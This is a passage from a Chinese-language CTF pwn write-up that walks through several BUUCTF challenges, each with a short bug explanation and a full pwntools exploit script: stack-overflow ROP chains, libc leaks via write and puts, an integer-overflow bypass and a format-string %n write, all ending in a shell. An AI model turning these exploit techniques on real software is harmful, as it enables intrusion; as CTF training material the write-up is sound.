输入2:

打印s的内容也就是src的内容
输入3:

会输出Printing,其中system可以被我们进行使用
输入4:

会将src的值赋值给dest
其中dest大小为48,src可以输入128大小,可以利用src对dest进行栈溢出
其中我们有了system但是还缺少binsh或者sh
可以使用
:::info
ROPgadget –binary ciscn_2019_ne_5 –string “sh”
:::
查询程序中是否有sh关键字内容

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import * context(log_level='debug',arch='i386',os='linux')
ming=1 if ming: p=remote('node5.buuoj.cn',27006) else: p=process("pwn")
p.sendlineafter(b'password:',b'administrator')
p.sendlineafter(b':',b'1')
system=0x80484D0 sh=0x80482ea main=0x8048722 payload=b'a'*(0x48+4)+p32(system)+p32(main)+p32(sh)
p.sendline(payload)
p.sendlineafter(b':',b'4')
p.interactive()
|
铁人三项(第五赛区)_2018_rop

ida打开可以看到只有 write输出

vulnerable_functio函数中又明显的溢出点

程序没用其他的东西

除了nx以外没用开其他的保护

使用32位write泄漏libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import * from LibcSearcher import * context(log_level='debug',arch='i386',os='linux')
ming=1 if ming: p=remote('node5.buuoj.cn',25843) else: p=process("pwn")
main_add=0x80484C6 e=ELF("./2018_rop") write_got=e.got['write'] write_plt=e.plt['write'] payload=b'a'*(0x88+4)+p32(write_plt)+p32(main_add)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload) write=u32(p.recv(4)) print('write',hex(write))
libc = LibcSearcher('write',write) libc_base = write - libc.dump('write') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh') payload=b'a'*(0x88+4)+p32(system_addr)+p32(main_add)+p32(binsh_addr) p.sendline(payload) p.interactive()
|
bjdctf_2020_babystack2

ida 打开后可以发现有溢出点,但是要先绕过if判断,并且nbytes要大于10才可以进行溢出
此时可以发现。17行使用的nbytes的是int型而23行使用的是无符号整型,可以使用整数溢出,,输入-1绕过if

程序也有明显的后门函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import * context(log_level='debug',arch='amd64',os='linux')
ming=1 if ming: p=remote('node5.buuoj.cn',27778) else: p=process("pwn")
br=0x400726
p.sendlineafter(b'your name:\n',b'-1')
payload=b'a'*(0x10+8)+p64(br)
p.sendline(payload)
p.interactive()
|
bjdctf_2020_babyrop

ida打开后发现只有puts和read函数,没有其他的system和binsh
简单的libc泄漏put

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import * from LibcSearcher import * context(log_level='debug',arch='amd64',os='linux')
ming=1 if ming: p=remote('node5.buuoj.cn',28548) else: p=process("pwn")
e=ELF("./bjdctf_2020_babyrop") puts_got=e.got['puts'] puts_plt=e.plt['puts'] ret=0x4004c9 rdi=0x400733 main_add=0x4006AD
payload=b'a'*(0x20+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_add) p.sendlineafter(b'me u story!\n',payload) puts_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print('puts_add',hex(puts_add))
libc = LibcSearcher('puts',puts_add) libc_base = puts_add - libc.dump('puts') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh')
payload=b'a'*(0x20+8)+p64(ret)+p64(rdi)+p64(binsh_addr)+p64(system_addr) p.sendlineafter(b'me u story!\n',payload) p.interactive()
|
jarvisoj_fm

ida打开可以发现程序需要x==4才可以提权,且buf无法溢出,但是第10行可以看到是有格式化字符串的漏洞,我们可以通过%n的方式修改n的值

通过尝试可以看到偏移量为11

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * context(log_level='debuga',arch='i386',os='linux')
ming=1 if ming: p=remote('node5.buuoj.cn',28641) else: p=process("pwn")
x_add=0x804A02C payload=p32(x_add)+b'%11$n'
p.sendline(payload)
p.interactive()
|
jarvisoj_tell_me_something

ida打开后可以发现有明显的溢出点

函数good_game是读取到flag.txt的内容赋值到v0并且通过buf进行输出,所以我们只需要将程序溢出后覆盖返回地址为good_game即可

但是程序汇编代码中我们可以看到rsp-0x88,最后也是rsp+0x88并没用使用到rbp,所以构造exp的时候不需要进行+8的操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * context(log_level='debug',arch='amd64',os='linux')
ming=1 if ming: p=remote('node5.buuoj.cn',26004) else: p=process("pwn")
br=0x400620 payload=b'a'*(0x88)+p64(br)
p.sendline(payload)
p.interactive()
|